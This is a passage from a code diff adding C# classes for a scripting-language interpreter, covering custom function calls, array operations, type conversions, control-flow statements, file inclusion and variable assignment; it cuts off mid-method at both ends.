+                    m_stackLevel.Variables[key] = elem.Value;
+                }
+            }
+
+            ParserFunction.AddLocalVariables(m_stackLevel);
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = Constants.FUNCT_WITH_SPACE.Contains(m_name) ?
+                // Special case of extracting args.
+                Utils.GetFunctionArgsAsStrings(script) :
+                script.GetFunctionArgs();
+
+            Utils.ExtractParameterNames(args, m_name, script);
+
+            script.MoveBackIf(Constants.START_GROUP);
+
+            if (args.Count + m_defaultArgs.Count < m_args.Length)
+            {
+                throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+                                    m_args.Length + " declared, " + args.Count + " supplied");
+            }
+
+            Variable result = Run(args, script);
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = Constants.FUNCT_WITH_SPACE.Contains(m_name) ?
+                // Special case of extracting args.
+                Utils.GetFunctionArgsAsStrings(script) :
+                await script.GetFunctionArgsAsync();
+
+            Utils.ExtractParameterNames(args, m_name, script);
+
+            script.MoveBackIf(Constants.START_GROUP);
+
+            if (args.Count + m_defaultArgs.Count < m_args.Length)
+            {
+                throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+                                    m_args.Length + " declared, " + args.Count + " supplied");
+            }
+
+            Variable result = await RunAsync(args, script);
+            return result;
+        }
+
+        public Variable Run(List<Variable> args = null, ParsingScript script = null,
+                            CSCSClass.ClassInstance instance = null)
+        {
+            List<KeyValuePair<string, Variable>> args2 = instance == null ? null : instance.GetPropList();
+            // 1. Add passed arguments as local variables to the Parser.
+            RegisterArguments(args, args2);
+
+            // 2. Execute the body of the function.
+            Variable result = null;
+            ParsingScript tempScript = Utils.GetTempScript(m_body, m_stackLevel, m_name, script,
+                                                           m_parentScript, m_parentOffset, instance);
+
+            Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+            if (script != null && debugger != null)
+            {
+                result = debugger.StepInFunctionIfNeeded(tempScript).Result;
+            }
+
+            while (tempScript.Pointer < m_body.Length - 1 &&
+                  (result == null || !result.IsReturn))
+            {
+                result = tempScript.Execute();
+                tempScript.GoToNextStatement();
+            }
+
+            ParserFunction.PopLocalVariables(m_stackLevel.Id);
+
+            if (result == null)
+            {
+                result = Variable.EmptyInstance;
+            }
+            else
+            {
+                result.IsReturn = false;
+            }
+
+            return result;
+        }
+        public async Task<Variable> RunAsync(List<Variable> args = null, ParsingScript script = null,
+                            CSCSClass.ClassInstance instance = null)
+        {
+            List<KeyValuePair<string, Variable>> args2 = instance == null ? null : instance.GetPropList();
+            // 1. Add passed arguments as local variables to the Parser.
+            RegisterArguments(args, args2);
+
+            // 2. Execute the body of the function.
+            Variable result = null;
+            ParsingScript tempScript = Utils.GetTempScript(m_body, m_stackLevel, m_name, script,
+                                                           m_parentScript, m_parentOffset, instance);
+
+            Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+            if (debugger != null)
+            {
+                result = await debugger.StepInFunctionIfNeeded(tempScript);
+            }
+
+            while (tempScript.Pointer < m_body.Length - 1 &&
+                  (result == null || !result.IsReturn))
+            {
+                result = await tempScript.ExecuteAsync();
+                tempScript.GoToNextStatement();
+            }
+
+            ParserFunction.PopLocalVariables(m_stackLevel.Id);
+
+            if (result == null)
+            {
+                result = Variable.EmptyInstance;
+            }
+            else
+            {
+                result.IsReturn = false;
+            }
+
+            return result;
+        }
+
+        public static Task<Variable> Run(string functionName,
+             Variable arg1 = null, Variable arg2 = null, Variable arg3 = null, ParsingScript script = null)
+        {
+            CustomFunction customFunction = ParserFunction.GetFunction(functionName, null) as CustomFunction;
+
+            if (customFunction == null)
+            {
+                return null;
+            }
+
+            List<Variable> args = new List<Variable>();
+            if (arg1 != null)
+            {
+                args.Add(arg1);
+            }
+            if (arg2 != null)
+            {
+                args.Add(arg2);
+            }
+            if (arg3 != null)
+            {
+                args.Add(arg3);
+            }
+
+            Variable result = customFunction.Run(args, script);
+            return Task.FromResult( result );
+        }
+
+        public static async Task<Variable> RunAsync(string functionName,
+             Variable arg1 = null, Variable arg2 = null, Variable arg3 = null, ParsingScript script = null)
+        {
+            CustomFunction customFunction = ParserFunction.GetFunction(functionName, null) as CustomFunction;
+
+            if (customFunction == null)
+            {
+                return null;
+            }
+
+            List<Variable> args = new List<Variable>();
+            if (arg1 != null)
+            {
+                args.Add(arg1);
+            }
+            if (arg2 != null)
+            {
+                args.Add(arg2);
+            }
+            if (arg3 != null)
+            {
+                args.Add(arg3);
+            }
+
+            Variable result = await customFunction.RunAsync(args, script);
+            return result;
+        }
+
+        public override ParserFunction NewInstance()
+        {
+            var newInstance = (CustomFunction)this.MemberwiseClone();
+            newInstance.m_stackLevel = null;
+            return newInstance;
+        }
+
+        public ParsingScript ParentScript { set { m_parentScript = value; } }
+        public int ParentOffset { set { m_parentOffset = value; } }
+        public string Body { get { return m_body; } }
+
+        public int ArgumentCount { get { return m_args.Length; } }
+        public string Argument(int nIndex) { return m_args[nIndex]; }
+
+        public StackLevel NamespaceData { get; set; }
+
+        public int DefaultArgsCount
+        {
+            get
+            {
+                return m_defaultArgs.Count;
+            }
+        }
+
+        public string Header
+        {
+            get
+            {
+                return Constants.FUNCTION + " " + Constants.GetRealName(Name) + " " +
+                       Constants.START_ARG + string.Join(", ", m_args) +
+                       Constants.END_ARG + " " + Constants.START_GROUP;
+            }
+        }
+
+        protected string m_body;
+        protected string[] m_args;
+        protected ParsingScript m_parentScript = null;
+        protected int m_parentOffset = 0;
+        protected StackLevel m_stackLevel;
+
+        List<Variable> m_defaultArgs = new List<Variable>();
+        Dictionary<int, int> m_defArgMap = new Dictionary<int, int>();
+
+        public Dictionary<string, int> ArgMap { get; private set; } = new Dictionary<string, int>();
+        public string[] RealArgs { get; private set; }
+    }
+
+    class StringOrNumberFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // First check if the passed expression is a string between quotes.
+            if (Item.Length > 1 &&
+              ((Item[0] == Constants.QUOTE  && Item[Item.Length - 1] == Constants.QUOTE) ||
+               (Item[0] == Constants.QUOTE1 && Item[Item.Length - 1] == Constants.QUOTE1)))
+            {
+                return new Variable(Item.Substring(1, Item.Length - 2));
+            }
+
+            // Otherwise this should be a number.
+            double num = Utils.ConvertToDouble(Item, script);
+            return new Variable(num);
+        }
+
+        public string Item { private get; set; }
+    }
+
+    class AddFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable currentValue = Utils.GetSafeVariable(args, 0);
+            Variable item = Utils.GetSafeVariable(args, 1);
+            int index = Utils.GetSafeInt(args, 2, -1);
+
+            currentValue.AddVariable(item, index);
+            if (!currentValue.ParsingToken.Contains(Constants.START_ARRAY.ToString()))
+            {
+                ParserFunction.AddGlobalOrLocalVariable(currentValue.ParsingToken,
+                                                        new GetVarFunction(currentValue), script);
+            }
+
+            return currentValue;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable currentValue = Utils.GetSafeVariable(args, 0);
+            Variable item = Utils.GetSafeVariable(args, 1);
+            int index = Utils.GetSafeInt(args, 2, -1);
+
+            currentValue.AddVariable(item, index);
+            if (!currentValue.ParsingToken.Contains(Constants.START_ARRAY.ToString()))
+            {
+                ParserFunction.AddGlobalOrLocalVariable(currentValue.ParsingToken,
+                                                        new GetVarFunction(currentValue), script);
+            }
+
+            return currentValue;
+        }
+    }
+    class RemoveFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name, true);
+            string varName = args[0].AsString();
+
+            // 2. Get the current value of the variable.
+            ParserFunction func = ParserFunction.GetVariable(varName, script);
+            Utils.CheckNotNull(varName, func, script);
+            Variable currentValue = func.GetValue(script);
+            Utils.CheckArray(currentValue, varName);
+
+            // 3. Get the variable to remove.
+            Variable item = args[1];
+
+            bool removed = currentValue.Tuple.Remove(item);
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                    new GetVarFunction(currentValue), script);
+            return new Variable(removed);
+        }
+    }
+    class RemoveAtFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+            Utils.CheckNotEnd(script, m_name);
+
+            // 2. Get the current value of the variable.
+            ParserFunction func = ParserFunction.GetVariable(varName, script);
+            Utils.CheckNotNull(varName, func, script);
+            Variable currentValue = func.GetValue(script);
+            Utils.CheckArray(currentValue, varName);
+
+            // 3. Get the variable to remove.
+            Variable item = Utils.GetItem(script);
+            Utils.CheckNonNegativeInt(item, script);
+
+            currentValue.Tuple.RemoveAt(item.AsInt());
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                    new GetVarFunction(currentValue), script);
+            return Variable.EmptyInstance;
+        }
+    }
+
+    class ContainsFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+            Utils.CheckNotEnd(script, m_name);
+
+            // 2. Get the current value of the variable.
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, varName, (newVarName) => { varName = newVarName; } );
+
+            ParserFunction func = ParserFunction.GetVariable(varName, script);
+            Utils.CheckNotNull(varName, func, script);
+            Variable currentValue = func.GetValue(script);
+
+            // 2b. Special dealings with arrays:
+            Variable query = arrayIndices.Count > 0 ?
+                             Utils.ExtractArrayElement(currentValue, arrayIndices, script) :
+                             currentValue;
+
+            // 3. Get the value to be looked for.
+            Variable searchValue = Utils.GetItem(script);
+            Utils.CheckNotEnd(script, m_name);
+
+            // 4. Check if the value to search for exists.
+            bool exists = query.Exists(searchValue, true /* notEmpty */);
+
+            script.MoveBackIf(Constants.START_GROUP);
+            return new Variable(exists);
+        }
+    }
+
+    class FindIndexFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable var = Utils.GetSafeVariable(args, 0);
+            string val = Utils.GetSafeString(args, 1);
+
+            int index = var.FindIndex(val);
+
+            return new Variable(index);
+        }
+    }
+
+    class UndefinedFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(Variable.VarType.UNDEFINED);
+        }
+    }
+
+    class BoolFunction : ParserFunction, INumericFunction
+    {
+        bool m_value;
+        public BoolFunction(bool init)
+        {
+            m_value = init;
+        }
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(m_value);
+        }
+    }
+    class ToDoubleFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            double result = Utils.ConvertToDouble(arg.AsString());
+            return new Variable(result);
+        }
+    }
+    class ToIntFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            int result = Utils.ConvertToInt(arg.AsString());
+            return new Variable(result);
+        }
+    }
+    class ToByteArrayFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            string arg = Utils.GetSafeString(args, 0);
+            string pass = Utils.GetSafeString(args, 1);
+
+            var encoded = !string.IsNullOrWhiteSpace(pass);
+
+            var bytes = encoded ? Utils.EncryptStringToBytes(arg, pass) :
+                                  Encoding.UTF8.GetBytes(arg);
+
+            return new Variable(bytes);
+        }
+    }
+
+    class EncodeDecodeFunction : ParserFunction, IStringFunction
+    {
+        bool m_encode;
+        internal EncodeDecodeFunction(bool encode = true)
+        {
+            m_encode = encode;
+        }
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            string arg = Utils.GetSafeString(args, 0);
+            string pass = Utils.GetSafeString(args, 1);
+
+            var result = m_encode ? Utils.EncryptString(arg, pass) :
+                                    Utils.DecryptString(arg, pass);
+
+            return new Variable(result);
+        }
+    }
+
+    class ToBoolFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            double result = Utils.ConvertToBool(arg.AsString()) ? 1 : 0;
+            return new Variable(result);
+        }
+    }
+    class ToDecimalFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            string result = Decimal.Parse(arg.AsString(), NumberStyles.Any).ToString();
+            return new Variable(result);
+        }
+    }
+    class ToStringFunction : ParserFunction, IStringFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            Variable arg = args[0];
+            string format = Utils.GetSafeString(args, 1);
+
+            if (arg.Type == Variable.VarType.BYTE_ARRAY && !string.IsNullOrWhiteSpace(format))
+            {
+                var decoded = Utils.DecryptStringFromBytes(arg.AsByteArray(), format);
+                return new Variable(decoded);
+            }
+
+            string result = arg.AsString(format);
+            return new Variable(result);
+        }
+    }
+    class IdentityFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return script.Execute(Constants.END_ARG_ARRAY);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await script.ExecuteAsync(Constants.END_ARG_ARRAY);
+        }
+    }
+
+    class ConstantsFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(m_name);
+        }
+    }
+
+    class IfStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable result = Interpreter.Instance.ProcessIf(script);
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            Variable result = await Interpreter.Instance.ProcessIfAsync(script);
+            return result;
+        }
+    }
+
+    class ForStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessFor(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await Interpreter.Instance.ProcessForAsync(script);
+        }
+    }
+
+    class WhileStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessWhile(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await Interpreter.Instance.ProcessWhileAsync(script);
+        }
+    }
+
+    class DoWhileStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessDoWhile(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessDoWhile(script);
+        }
+    }
+
+    class SwitchStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessSwitch(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessSwitch(script);
+        }
+    }
+
+    class CaseStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessCase(script, Name);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessCase(script, Name);
+        }
+    }
+
+    class IncludeFile : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            string filename = args[0].AsString();
+            return Execute(filename, script);
+        }
+
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            string filename = args[0].AsString();
+            return await ExecuteAsync(filename, script);
+        }
+
+        public static Variable Execute(string filename, ParsingScript parentScript = null)
+        {
+            if (parentScript == null)
+            {
+                parentScript = new ParsingScript("");
+            }
+            ParsingScript tempScript = parentScript.GetIncludeFileScript(filename);
+
+            Variable result = null;
+            if (parentScript.Debugger != null)
+            {
+                result = parentScript.Debugger.StepInIncludeIfNeeded(tempScript).Result;
+            }
+
+            while (tempScript.StillValid())
+            {
+                result = tempScript.Execute();
+                tempScript.GoToNextStatement();
+            }
+            return result == null ? Variable.EmptyInstance : result;
+        }
+
+        public static async Task<Variable> ExecuteAsync(string filename, ParsingScript parentScript = null)
+        {
+            if (parentScript == null)
+            {
+                parentScript = new ParsingScript("");
+            }
+            ParsingScript tempScript = parentScript.GetIncludeFileScript(filename);
+
+            Variable result = null;
+            if (parentScript.Debugger != null)
+            {
+                result = await parentScript.Debugger.StepInIncludeIfNeeded(tempScript);
+            }
+
+            while (tempScript.StillValid())
+            {
+                result = await tempScript.ExecuteAsync();
+                tempScript.GoToNextStatement();
+            }
+            return result == null ? Variable.EmptyInstance : result;
+        }
+    }
+
+    // Get a value of a variable or of an array element
+    public class GetVarFunction : ParserFunction
+    {
+        public GetVarFunction(Variable value)
+        {
+            m_value = value;
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // First check if this element is part of an array:
+            if (script.TryPrev() == Constants.START_ARRAY)
+            {
+                // There is an index given - it must be for an element of the tuple.
+                if (m_value.Tuple == null || m_value.Tuple.Count == 0)
+                {
+                    throw new ArgumentException("No tuple exists for the index");
+                }
+
+                if (m_arrayIndices == null)
+                {
+                    string startName = script.Substr(script.Pointer - 1);
+                    m_arrayIndices = Utils.GetArrayIndices(script, startName, m_delta, (newStart, newDelta) => { startName = newStart; m_delta = newDelta; } );
+                }
+
+                script.Forward(m_delta);
+                while (script.MoveForwardIf(Constants.END_ARRAY))
+                {
+                }
+
+                Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices, script);
+                if (script.Prev == '.')
+                {
+                    script.Backward();
+                }
+
+                if (script.TryCurrent() != '.')
+                {
+                    return result;
+                }
+                script.Forward();
+
+                m_propName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+                Variable propValue = result.GetProperty(m_propName, script);
+                Utils.CheckNotNull(propValue, m_propName, script);
+                return propValue;
+            }
+
+            // Now check that this is an object:
+            if (!string.IsNullOrWhiteSpace(m_propName))
+            {
+                string temp = m_propName;
+                m_propName = null; // Need this to reset for recursive calls
+                Variable propValue = m_value.Type == Variable.VarType.ENUM ?
+                                     m_value.GetEnumProperty(temp, script) :
+                                     m_value.GetProperty(temp, script);
+                Utils.CheckNotNull(propValue, temp, script);
+                return EvaluateFunction(propValue, script, m_propName);
+            }
+
+            // Otherwise just return the stored value.
+            return m_value;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // First check if this element is part of an array:
+            if (script.TryPrev() == Constants.START_ARRAY)
+            {
+                // There is an index given - it must be for an element of the tuple.
+                if (m_value.Tuple == null || m_value.Tuple.Count == 0)
+                {
+                    throw new ArgumentException("No tuple exists for the index");
+                }
+
+                if (m_arrayIndices == null)
+                {
+                    string startName = script.Substr(script.Pointer - 1);
+                    m_arrayIndices = await Utils.GetArrayIndicesAsync(script, startName, m_delta, (newStart, newDelta) => { startName = newStart; m_delta = newDelta; });
+                }
+
+                script.Forward(m_delta);
+                while (script.MoveForwardIf(Constants.END_ARRAY))
+                {
+                }
+
+                Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices, script);
+                if (script.Prev == '.')
+                {
+                    script.Backward();
+                }
+                if (script.TryCurrent() != '.')
+                {
+                    return result;
+                }
+
+                script.Forward();
+                m_propName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+                Variable propValue = await result.GetPropertyAsync(m_propName, script); 
+                Utils.CheckNotNull(propValue, m_propName, script);
+                return propValue;
+            }
+
+            // Now check that this is an object:
+            if (!string.IsNullOrWhiteSpace(m_propName))
+            {
+                string temp = m_propName;
+                m_propName = null; // Need this to reset for recursive calls
+
+                Variable propValue = m_value.Type == Variable.VarType.ENUM ?
+                         m_value.GetEnumProperty(temp, script) :
+                         await m_value.GetPropertyAsync(temp, script);
+                Utils.CheckNotNull(propValue, temp, script);
+                return await EvaluateFunctionAsync(propValue, script, m_propName);
+            }
+
+            // Otherwise just return the stored value.
+            return m_value;
+        }
+
+        public static Variable EvaluateFunction(Variable var, ParsingScript script, string m_propName)
+        {
+            if (var.CustomFunctionGet != null)
+            {
+                List<Variable> args = script.Prev == '(' ? script.GetFunctionArgs() : new List<Variable>();
+                if (var.StackVariables != null)
+                {
+                    args.AddRange(var.StackVariables);
+                }
+                return var.CustomFunctionGet.Run(args, script);
+            }
+            if (!string.IsNullOrWhiteSpace(var.CustomGet))
+            {
+                return ParsingScript.RunString(var.CustomGet); 
+            }
+            return var;
+        }
+
+        public static async Task<Variable> EvaluateFunctionAsync(Variable var, ParsingScript script, string m_propName)
+        {
+            if (var.CustomFunctionGet != null)
+            {
+                List<Variable> args = script.Prev == '(' ? await script.GetFunctionArgsAsync() : new List<Variable>();
+                if (var.StackVariables != null)
+                {
+                    args.AddRange(var.StackVariables);
+                }
+                return await var.CustomFunctionGet.RunAsync(args, script);
+            }
+            if (!string.IsNullOrWhiteSpace(var.CustomGet))
+            {
+                return ParsingScript.RunString(var.CustomGet);
+            }
+            return var;
+        }
+
+        public int Delta
+        {
+            set { m_delta = value; }
+        }
+        public Variable Value
+        {
+            get { return m_value; }
+        }
+        public List<Variable> Indices
+        {
+            set { m_arrayIndices = value; }
+        }
+        public string PropertyName
+        {
+            set { m_propName = value; }
+        }
+
+        Variable m_value;
+        int m_delta = 0;
+        List<Variable> m_arrayIndices = null;
+        string m_propName;
+    }
+    class IncrementDecrementFunction : ActionFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            bool prefix = string.IsNullOrWhiteSpace(m_name);
+            if (prefix)
+            {// If it is a prefix we do not have the variable name yet.
+                Name = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            }
+
+            Utils.CheckForValidName(Name, script);
+
+            // Value to be added to the variable:
+            int valueDelta = m_action == Constants.INCREMENT ? 1 : -1;
+            int returnDelta = prefix ? valueDelta : 0;
+
+            // Check if the variable to be set has the form of x[a][b],
+            // meaning that this is an array element.
+            double newValue = 0;
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, m_name, (string name) => { m_name = name; });
+
+            ParserFunction func = ParserFunction.GetVariable(m_name, script);
+            Utils.CheckNotNull(m_name, func, script);
+
+            Variable currentValue = func.GetValue(script);
+            currentValue = currentValue.DeepClone();
+
+            if (arrayIndices.Count > 0 || script.TryCurrent() == Constants.START_ARRAY)
+            {
+                if (prefix)
+                {
+                    string tmpName = m_name + script.Rest;
+                    int delta = 0;
+                    arrayIndices = Utils.GetArrayIndices(script, tmpName, delta, (string t, int d) => { tmpName = t; delta = d; });
+                    script.Forward(Math.Max(0, delta - tmpName.Length));
+                }
+
+                Variable element = Utils.ExtractArrayElement(currentValue, arrayIndices, script);
+                script.MoveForwardIf(Constants.END_ARRAY);
+
+                newValue = element.Value + returnDelta;
+                element.Value += valueDelta;
+            }
+            else
+            { // A normal variable.
+                newValue = currentValue.Value + returnDelta;
+                currentValue.Value += valueDelta;
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                                    new GetVarFunction(currentValue), script);
+            return new Variable(newValue);
+        }
+
+        override public ParserFunction NewInstance()
+        {
+            return new IncrementDecrementFunction();
+        }
+    }
+
+    class OperatorAssignFunction : ActionFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // Value to be added to the variable:
+            Variable right = Utils.GetItem(script);
+
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, m_name, (string name) => { m_name = name; });
+
+            ParserFunction func = ParserFunction.GetVariable(m_name, script);
+            Utils.CheckNotNull(func, m_name, script);
+
+            Variable currentValue = func.GetValue(script);
+            currentValue = currentValue.DeepClone();
+            Variable left = currentValue;
+
+            if (arrayIndices.Count > 0)
+            {// array element
+                left = Utils.ExtractArrayElement(currentValue, arrayIndices, script);
+                script.MoveForwardIf(Constants.END_ARRAY);
+            }
+
+            if (left.Type == Variable.VarType.NUMBER)
+            {
+                NumberOperator(left, right, m_action);
+            }
+            else if (left.Type == Variable.VarType.DATETIME)
+            {
+                DateOperator(left, right, m_action, script,m_name);
+            }
+            else
+            {
+                StringOperator(left, right, m_action);
+            }
+
+            if (arrayIndices.Count > 0)
+            {// array element
+                AssignFunction.ExtendArray(currentValue, arrayIndices, 0, left);
+                ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                                         new GetVarFunction(currentValue), script);
+            }
+            else
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                                         new GetVarFunction(left), script);
+            }
+            return left;
+        }
+
+        public static void DateOperator(Variable valueA,
+                          Variable valueB, string action, ParsingScript script, string name = "")
+        {
+            int sign = 1;
+            char ch = action.Length > 0 ? action[0] : '\0';
+            switch (ch)
+            {
+               case '+':
+                   sign = 1;
+                   break;
+               case '-':
+                   sign = -1;
+                   break;
+               default:
+                   Utils.ThrowErrorMsg("Not a valid action [" + action + "] on a date.",
+                                        script, name);
+                   break;
+            }
+            valueA.AddToDate(valueB, sign);
+        }
+
+        static void NumberOperator(Variable valueA,
+                                   Variable valueB, string action)
+        {
+            switch (action)
+            {
+                case "+=":
+                    valueA.Value += valueB.Value;
+                    break;
+                case "-=":
+                    valueA.Value -= valueB.Value;
+                    break;
+                case "*=":
+                    valueA.Value *= valueB.Value;
+                    break;
+                case "/=":
+                    valueA.Value /= valueB.Value;
+                    break;
+                case "%=":
+                    valueA.Value %= valueB.Value;
+                    break;
+                case "&=":
+                    valueA.Value = (int)valueA.Value & (int)valueB.Value;
+                    break;
+                case "|=":
+                    valueA.Value = (int)valueA.Value | (int)valueB.Value;
+                    break;
+                case "^=":
+                    valueA.Value = (int)valueA.Value ^ (int)valueB.Value;
+                    break;
+            }
+        }
+        static void StringOperator(Variable valueA,
+          Variable valueB, string action)
+        {
+            switch (action)
+            {
+                case "+=":
+                    if (valueB.Type == Variable.VarType.STRING)
+                    {
+                        valueA.String += valueB.AsString();
+                    }
+                    else
+                    {
+                        valueA.String += valueB.Value;
+                    }
+                    break;
+            }
+        }
+
+        override public ParserFunction NewInstance()
+        {
+            return new OperatorAssignFunction();
+        }
+    }
+
+    class AssignFunction : ActionFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Assign(script, m_name);
+        }
+
+        public Variable Assign(ParsingScript script, string varName, bool localIfPossible = false)
+        {
+            m_name = Constants.GetRealName(varName);
+            script.CurrentAssign = m_name;
+            Variable varValue = Utils.GetItem(script);
+
+            script.MoveBackIfPrevious(Constants.END_ARG);
+            varValue.TrySetAsMap();
+
+            if (script.Current == ' ' || script.Prev == ' ')
+            {
+                Utils.ThrowErrorMsg("Can't process expression [" + script.Rest + "].",
+                                    script, m_name);
+            }
+
+            // First try processing as an object (with a dot notation):
+            Variable result = ProcessObject(script, varValue);
+            if (result != null)
+            {
+                if (script.CurrentClass == null && script.ClassInstance == null)
+                {
+                    ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(result), script, localIfPossible);
+                }
+                return result;
+            }
+
+            // Check if the variable to be set has the form of x[a][b]...,
+            // meaning that this is an array element.
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, m_name, (string name) => { m_name = name; });
+
+            if (arrayIndices.Count == 0)
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue), script, localIfPossible);
+                Variable retVar = varValue.DeepClone();
+                retVar.CurrentAssign = m_name;
+                return retVar;
+            }
+
+            Variable array;
+
+            ParserFunction pf = ParserFunction.GetVariable(m_name, script);
+            array = pf != null ? (pf.GetValue(script)) : new Variable();
+
+            ExtendArray(array, arrayIndices, 0, varValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array), script, localIfPossible);
+            return array;
+        }
+
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await AssignAsync(script, m_name);
+        }
+
+        public async Task<Variable> AssignAsync(ParsingScript script, string varName, bool localIfPossible = false)
+        {
+            m_name = Constants.GetRealName(varName);
+            script.CurrentAssign = m_name;
+            Variable varValue = await Utils.GetItemAsync(script);
+
+            script.MoveBackIfPrevious(Constants.END_ARG);
+            varValue.TrySetAsMap();
+
+            if (script.Current == ' ' || script.Prev == ' ')
+            {
+                Utils.ThrowErrorMsg("Can't process expression [" + script.Rest + "].",
+                                    script, m_name);
+            }
+
+            // First try processing as an object (with a dot notation):
+            Variable result = await ProcessObjectAsync(script, varValue);
+            if (result != null)
+            {
+                if (script.CurrentClass == null)
+                {
